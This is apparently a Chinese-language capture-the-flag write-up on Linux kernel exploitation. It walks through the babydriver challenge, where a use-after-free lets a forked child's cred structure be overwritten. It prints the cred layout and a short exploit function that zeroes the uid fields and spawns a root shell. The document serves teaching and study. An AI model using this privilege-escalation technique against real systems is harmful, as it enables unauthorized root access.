和用户态一样, 控持程序流的一个最有效的方法就是覆盖函数指针. 在用户态, 我们可能会去覆盖一些 hook 函数指针, 或者是 FILE vtable 的指针. 在内核态也是一样的. 下面会结合例题来介绍一些可以利用的结构体中的函数指针.
检查启动脚本和 init, 仅开启 smep, kallsyms 可读, 显示 dmesg. 加载了一个 babydriver.ko 到 /dev/babydev
.
检查 ko 的保护, 只开启了 NX. 设备注册了 open, close, read, write, ioctl, open 的时候会 kmalloc 一个 chunk, 指针在全局变量上. ioctl 里可以重新 kmalloc 一个任意大小的 chunk, 覆盖全局变量上的指针. read 和 write 正常读写. close 的时候 kfree, 但是没有将指针置零. 由于指针是在全局变量上, 所以我们打开两次设备, 申请一块我们可以控制大小的空间, 关闭一次设备, 将其释放, 这样没有关闭的那个还可以进行读写操作, 也就是 UAF.
kernel 4.4.72 时, cred 结构体没有专门的一个 kmem_cache (slub allocator) 来分配. struct cred 大小是 0xa8, 会使用 kmalloc-192 这个 kmem_cache 来分配. 而我们知道, cred 中保存了 uid, gid, 等, 如果可以改变这些, 那么就可以成功提权.
cred 如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS // 调试用, 一般没开
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
|
atomic_t
和 kuid_t
, kgid_t
都是 4 字节的, 所以我们覆盖到 egid, 一共是 28 字节.
怎么让程序重新分配一个 cred 呢? fork 一个子进程就可以了, 子进程会分配 cred. 由于我们释放了一个 object, 这个 cred 会直接取到刚刚的那个, 也就是可以 UAF 写的 object.
exp 关键部分:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
void pwn() {
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 65537, 192);
close(fd1);
pid_t pid = fork();
if (pid < 0)
fail("fork failed!");
else if (pid == 0) {
char buf[28] = {0};
write(fd2, buf, 28);
getRootShell();
}
else
wait(NULL);
}
|
不过后续版本的 kernel 创建了一个 cred_jar 的 kmem_cache, 专门用来分配 cred, 而不是使用 kmalloc-192, 所以无法用这个 UAF 来直接修改 euid 了.